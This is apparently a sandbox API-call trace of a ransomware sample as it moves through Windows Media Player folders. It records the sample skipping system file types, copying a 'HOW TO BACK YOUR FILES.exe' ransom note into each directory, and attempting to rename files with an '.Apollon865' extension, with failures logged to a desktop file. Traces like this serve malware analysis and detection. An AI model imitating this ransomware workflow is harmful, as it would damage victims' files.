	[0062.185] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3b21b0, ftCreationTime.dwHighDateTime=0x1d4d75e, ftLastAccessTime.dwLowDateTime=0xe10460d0, ftLastAccessTime.dwHighDateTime=0x1d53456, ftLastWriteTime.dwLowDateTime=0xe10460d0, ftLastWriteTime.dwHighDateTime=0x1d53456, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stands update api.exe", cAlternateFileName="STANDS~1.EXE")) returned 1
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.185] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="stands update api.exe" | out: lpString1="stands update api.exe") returned="stands update api.exe"
	[0062.185] lstrlenW (lpString="stands update api.exe") returned 21
	[0062.185] lstrlenW (lpString="Apollon865") returned 10
	[0062.185] lstrcmpiW (lpString1="te api.exe", lpString2="Apollon865") returned 1
	[0062.185] lstrlenW (lpString=".dll") returned 4
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2=".dll") returned 1
	[0062.185] lstrlenW (lpString=".lnk") returned 4
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2=".lnk") returned 1
	[0062.185] lstrlenW (lpString=".ini") returned 4
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2=".ini") returned 1
	[0062.185] lstrlenW (lpString=".sys") returned 4
	[0062.185] lstrcmpiW (lpString1="stands update api.exe", lpString2=".sys") returned 1
	[0062.185] lstrlenW (lpString="stands update api.exe") returned 21
	[0062.185] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Visualizations" | out: lpString1="Visualizations") returned="Visualizations"
	[0062.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0062.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a998
	[0062.185] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0062.185] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0062.185] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.185] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.185] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmlaunch.exe" | out: lpString1="wmlaunch.exe") returned="wmlaunch.exe"
	[0062.185] lstrlenW (lpString="wmlaunch.exe") returned 12
	[0062.185] lstrlenW (lpString="Apollon865") returned 10
	[0062.185] lstrcmpiW (lpString1="launch.exe", lpString2="Apollon865") returned 1
	[0062.186] lstrlenW (lpString=".dll") returned 4
	[0062.186] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".dll") returned 1
	[0062.186] lstrlenW (lpString=".lnk") returned 4
	[0062.186] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".lnk") returned 1
	[0062.186] lstrlenW (lpString=".ini") returned 4
	[0062.186] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".ini") returned 1
	[0062.186] lstrlenW (lpString=".sys") returned 4
	[0062.186] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".sys") returned 1
	[0062.186] lstrlenW (lpString="wmlaunch.exe") returned 12
	[0062.186] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpconfig.exe" | out: lpString1="wmpconfig.exe") returned="wmpconfig.exe"
	[0062.186] lstrlenW (lpString="wmpconfig.exe") returned 13
	[0062.186] lstrlenW (lpString="Apollon865") returned 10
	[0062.186] lstrcmpiW (lpString1="config.exe", lpString2="Apollon865") returned 1
	[0062.186] lstrlenW (lpString=".dll") returned 4
	[0062.186] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".dll") returned 1
	[0062.186] lstrlenW (lpString=".lnk") returned 4
	[0062.186] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".lnk") returned 1
	[0062.186] lstrlenW (lpString=".ini") returned 4
	[0062.186] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".ini") returned 1
	[0062.186] lstrlenW (lpString=".sys") returned 4
	[0062.186] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".sys") returned 1
	[0062.186] lstrlenW (lpString="wmpconfig.exe") returned 13
	[0062.186] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WMPDMC.exe" | out: lpString1="WMPDMC.exe") returned="WMPDMC.exe"
	[0062.186] lstrlenW (lpString="WMPDMC.exe") returned 10
	[0062.186] lstrlenW (lpString="Apollon865") returned 10
	[0062.186] lstrlenW (lpString=".dll") returned 4
	[0062.186] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".dll") returned 1
	[0062.186] lstrlenW (lpString=".lnk") returned 4
	[0062.186] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".lnk") returned 1
	[0062.186] lstrlenW (lpString=".ini") returned 4
	[0062.186] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".ini") returned 1
	[0062.187] lstrlenW (lpString=".sys") returned 4
	[0062.187] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".sys") returned 1
	[0062.187] lstrlenW (lpString="WMPDMC.exe") returned 10
	[0062.187] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WMPDMCCore.dll" | out: lpString1="WMPDMCCore.dll") returned="WMPDMCCore.dll"
	[0062.187] lstrlenW (lpString="WMPDMCCore.dll") returned 14
	[0062.187] lstrlenW (lpString="Apollon865") returned 10
	[0062.187] lstrcmpiW (lpString1="MCCore.dll", lpString2="Apollon865") returned 1
	[0062.187] lstrlenW (lpString=".dll") returned 4
	[0062.187] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".dll") returned 1
	[0062.187] lstrlenW (lpString=".lnk") returned 4
	[0062.187] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".lnk") returned 1
	[0062.187] lstrlenW (lpString=".ini") returned 4
	[0062.187] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".ini") returned 1
	[0062.187] lstrlenW (lpString=".sys") returned 4
	[0062.187] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".sys") returned 1
	[0062.187] lstrlenW (lpString="WMPDMCCore.dll") returned 14
	[0062.187] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpenc.exe" | out: lpString1="wmpenc.exe") returned="wmpenc.exe"
	[0062.187] lstrlenW (lpString="wmpenc.exe") returned 10
	[0062.187] lstrlenW (lpString="Apollon865") returned 10
	[0062.187] lstrlenW (lpString=".dll") returned 4
	[0062.187] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".dll") returned 1
	[0062.187] lstrlenW (lpString=".lnk") returned 4
	[0062.187] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".lnk") returned 1
	[0062.187] lstrlenW (lpString=".ini") returned 4
	[0062.187] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".ini") returned 1
	[0062.187] lstrlenW (lpString=".sys") returned 4
	[0062.187] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".sys") returned 1
	[0062.187] lstrlenW (lpString="wmpenc.exe") returned 10
	[0062.188] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmplayer.exe" | out: lpString1="wmplayer.exe") returned="wmplayer.exe"
	[0062.188] lstrlenW (lpString="wmplayer.exe") returned 12
	[0062.188] lstrlenW (lpString="Apollon865") returned 10
	[0062.188] lstrcmpiW (lpString1="player.exe", lpString2="Apollon865") returned 1
	[0062.188] lstrlenW (lpString=".dll") returned 4
	[0062.188] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".dll") returned 1
	[0062.188] lstrlenW (lpString=".lnk") returned 4
	[0062.188] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".lnk") returned 1
	[0062.188] lstrlenW (lpString=".ini") returned 4
	[0062.188] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".ini") returned 1
	[0062.188] lstrlenW (lpString=".sys") returned 4
	[0062.188] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".sys") returned 1
	[0062.188] lstrlenW (lpString="wmplayer.exe") returned 12
	[0062.188] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WMPMediaSharing.dll" | out: lpString1="WMPMediaSharing.dll") returned="WMPMediaSharing.dll"
	[0062.188] lstrlenW (lpString="WMPMediaSharing.dll") returned 19
	[0062.188] lstrlenW (lpString="Apollon865") returned 10
	[0062.188] lstrcmpiW (lpString1="haring.dll", lpString2="Apollon865") returned 1
	[0062.188] lstrlenW (lpString=".dll") returned 4
	[0062.188] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".dll") returned 1
	[0062.188] lstrlenW (lpString=".lnk") returned 4
	[0062.188] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".lnk") returned 1
	[0062.188] lstrlenW (lpString=".ini") returned 4
	[0062.188] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".ini") returned 1
	[0062.188] lstrlenW (lpString=".sys") returned 4
	[0062.188] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".sys") returned 1
	[0062.188] lstrlenW (lpString="WMPMediaSharing.dll") returned 19
	[0062.188] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpnetwk.exe" | out: lpString1="wmpnetwk.exe") returned="wmpnetwk.exe"
	[0062.188] lstrlenW (lpString="wmpnetwk.exe") returned 12
	[0062.188] lstrlenW (lpString="Apollon865") returned 10
	[0062.188] lstrcmpiW (lpString1="pnetwk.exe", lpString2="Apollon865") returned 1
	[0062.188] lstrlenW (lpString=".dll") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".dll") returned 1
	[0062.189] lstrlenW (lpString=".lnk") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".lnk") returned 1
	[0062.189] lstrlenW (lpString=".ini") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".ini") returned 1
	[0062.189] lstrlenW (lpString=".sys") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".sys") returned 1
	[0062.189] lstrlenW (lpString="wmpnetwk.exe") returned 12
	[0062.189] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpnscfg.exe" | out: lpString1="wmpnscfg.exe") returned="wmpnscfg.exe"
	[0062.189] lstrlenW (lpString="wmpnscfg.exe") returned 12
	[0062.189] lstrlenW (lpString="Apollon865") returned 10
	[0062.189] lstrcmpiW (lpString1="pnscfg.exe", lpString2="Apollon865") returned 1
	[0062.189] lstrlenW (lpString=".dll") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".dll") returned 1
	[0062.189] lstrlenW (lpString=".lnk") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".lnk") returned 1
	[0062.189] lstrlenW (lpString=".ini") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".ini") returned 1
	[0062.189] lstrlenW (lpString=".sys") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnscfg.exe", lpString2=".sys") returned 1
	[0062.189] lstrlenW (lpString="wmpnscfg.exe") returned 12
	[0062.189] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpnssci.dll" | out: lpString1="wmpnssci.dll") returned="wmpnssci.dll"
	[0062.189] lstrlenW (lpString="wmpnssci.dll") returned 12
	[0062.189] lstrlenW (lpString="Apollon865") returned 10
	[0062.189] lstrcmpiW (lpString1="pnssci.dll", lpString2="Apollon865") returned 1
	[0062.189] lstrlenW (lpString=".dll") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".dll") returned 1
	[0062.189] lstrlenW (lpString=".lnk") returned 4
	[0062.189] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".lnk") returned 1
	[0062.189] lstrlenW (lpString=".ini") returned 4
	[0062.190] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".ini") returned 1
	[0062.190] lstrlenW (lpString=".sys") returned 4
	[0062.190] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".sys") returned 1
	[0062.190] lstrlenW (lpString="wmpnssci.dll") returned 12
	[0062.190] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WMPNSSUI.dll" | out: lpString1="WMPNSSUI.dll") returned="WMPNSSUI.dll"
	[0062.190] lstrlenW (lpString="WMPNSSUI.dll") returned 12
	[0062.190] lstrlenW (lpString="Apollon865") returned 10
	[0062.190] lstrcmpiW (lpString1="PNSSUI.dll", lpString2="Apollon865") returned 1
	[0062.190] lstrlenW (lpString=".dll") returned 4
	[0062.190] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".dll") returned 1
	[0062.190] lstrlenW (lpString=".lnk") returned 4
	[0062.190] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".lnk") returned 1
	[0062.190] lstrlenW (lpString=".ini") returned 4
	[0062.190] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".ini") returned 1
	[0062.190] lstrlenW (lpString=".sys") returned 4
	[0062.190] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".sys") returned 1
	[0062.190] lstrlenW (lpString="WMPNSSUI.dll") returned 12
	[0062.190] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmprph.exe" | out: lpString1="wmprph.exe") returned="wmprph.exe"
	[0062.190] lstrlenW (lpString="wmprph.exe") returned 10
	[0062.190] lstrlenW (lpString="Apollon865") returned 10
	[0062.190] lstrlenW (lpString=".dll") returned 4
	[0062.190] lstrcmpiW (lpString1="wmprph.exe", lpString2=".dll") returned 1
	[0062.190] lstrlenW (lpString=".lnk") returned 4
	[0062.190] lstrcmpiW (lpString1="wmprph.exe", lpString2=".lnk") returned 1
	[0062.190] lstrlenW (lpString=".ini") returned 4
	[0062.190] lstrcmpiW (lpString1="wmprph.exe", lpString2=".ini") returned 1
	[0062.190] lstrlenW (lpString=".sys") returned 4
	[0062.190] lstrcmpiW (lpString1="wmprph.exe", lpString2=".sys") returned 1
	[0062.190] lstrlenW (lpString="wmprph.exe") returned 10
	[0062.191] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="wmpshare.exe" | out: lpString1="wmpshare.exe") returned="wmpshare.exe"
	[0062.191] lstrlenW (lpString="wmpshare.exe") returned 12
	[0062.191] lstrlenW (lpString="Apollon865") returned 10
	[0062.191] lstrcmpiW (lpString1="pshare.exe", lpString2="Apollon865") returned 1
	[0062.191] lstrlenW (lpString=".dll") returned 4
	[0062.191] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".dll") returned 1
	[0062.191] lstrlenW (lpString=".lnk") returned 4
	[0062.191] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".lnk") returned 1
	[0062.191] lstrlenW (lpString=".ini") returned 4
	[0062.191] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".ini") returned 1
	[0062.191] lstrlenW (lpString=".sys") returned 4
	[0062.191] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".sys") returned 1
	[0062.191] lstrlenW (lpString="wmpshare.exe") returned 12
	[0062.191] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WMPSideShowGadget.exe" | out: lpString1="WMPSideShowGadget.exe") returned="WMPSideShowGadget.exe"
	[0062.191] lstrlenW (lpString="WMPSideShowGadget.exe") returned 21
	[0062.191] lstrlenW (lpString="Apollon865") returned 10
	[0062.191] lstrcmpiW (lpString1="Gadget.exe", lpString2="Apollon865") returned 1
	[0062.191] lstrlenW (lpString=".dll") returned 4
	[0062.191] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".dll") returned 1
	[0062.191] lstrlenW (lpString=".lnk") returned 4
	[0062.191] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".lnk") returned 1
	[0062.191] lstrlenW (lpString=".ini") returned 4
	[0062.191] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".ini") returned 1
	[0062.191] lstrlenW (lpString=".sys") returned 4
	[0062.191] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".sys") returned 1
	[0062.191] lstrlenW (lpString="WMPSideShowGadget.exe") returned 21
	[0062.191] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\Visualizations", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\Visualizations") returned="C:\\Program Files\\Windows Media Player\\Visualizations"
	[0062.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0062.191] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52
	[0062.192] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files\\Windows Media Player\\Visualizations") returned="C:\\Program Files\\Windows Media Player\\Visualizations"
	[0062.192] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.192] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d241cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d241cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.196] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\Skins", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\Skins") returned="C:\\Program Files\\Windows Media Player\\Skins"
	[0062.196] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0062.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0062.197] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Skins") returned 43
	[0062.197] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files\\Windows Media Player\\Skins") returned="C:\\Program Files\\Windows Media Player\\Skins"
	[0062.197] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.197] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.209] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d241cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d241cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.209] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.209] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.209] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Revert.wmz" | out: lpString1="Revert.wmz") returned="Revert.wmz"
	[0062.210] lstrlenW (lpString="Revert.wmz") returned 10
	[0062.210] lstrlenW (lpString="Apollon865") returned 10
	[0062.210] lstrlenW (lpString=".dll") returned 4
	[0062.210] lstrcmpiW (lpString1="Revert.wmz", lpString2=".dll") returned 1
	[0062.210] lstrlenW (lpString=".lnk") returned 4
	[0062.210] lstrcmpiW (lpString1="Revert.wmz", lpString2=".lnk") returned 1
	[0062.210] lstrlenW (lpString=".ini") returned 4
	[0062.210] lstrcmpiW (lpString1="Revert.wmz", lpString2=".ini") returned 1
	[0062.210] lstrlenW (lpString=".sys") returned 4
	[0062.210] lstrcmpiW (lpString1="Revert.wmz", lpString2=".sys") returned 1
	[0062.210] lstrlenW (lpString="Revert.wmz") returned 10
	[0062.210] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\Network Sharing", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\Network Sharing") returned="C:\\Program Files\\Windows Media Player\\Network Sharing"
	[0062.210] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.210] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0062.210] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53
	[0062.210] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files\\Windows Media Player\\Network Sharing") returned="C:\\Program Files\\Windows Media Player\\Network Sharing"
	[0062.210] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.210] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.224] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d28df70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d28df70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.224] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ConnectionManager.xml" | out: lpString1="ConnectionManager.xml") returned="ConnectionManager.xml"
	[0062.224] lstrlenW (lpString="ConnectionManager.xml") returned 21
	[0062.224] lstrlenW (lpString="Apollon865") returned 10
	[0062.224] lstrcmpiW (lpString1="anager.xml", lpString2="Apollon865") returned -1
	[0062.224] lstrlenW (lpString=".dll") returned 4
	[0062.224] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".dll") returned 1
	[0062.224] lstrlenW (lpString=".lnk") returned 4
	[0062.224] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".lnk") returned 1
	[0062.224] lstrlenW (lpString=".ini") returned 4
	[0062.224] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".ini") returned 1
	[0062.224] lstrlenW (lpString=".sys") returned 4
	[0062.224] lstrcmpiW (lpString1="ConnectionManager.xml", lpString2=".sys") returned 1
	[0062.224] lstrlenW (lpString="ConnectionManager.xml") returned 21
	[0062.224] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.Apollon865") returned 86
	[0062.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\network sharing\\connectionmanager.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.225] GetLastError () returned 0x5
	[0062.225] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml MoveFileEx error 5\r\n") returned 104
	[0062.225] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml MoveFileEx error 5\r\n") returned 104
	[0062.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0062.225] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28c8
	[0062.225] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x68, lpOverlapped=0x0) returned 1
	[0062.225] CloseHandle (hObject=0x118) returned 1
	[0062.225] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.225] CloseHandle (hObject=0x0) returned 0
	[0062.225] CloseHandle (hObject=0x0) returned 0
	[0062.225] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1
	[0062.225] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".") returned 1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="..") returned 1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="windows") returned -1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="bootmgr") returned 1
	[0062.226] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="temp") returned -1
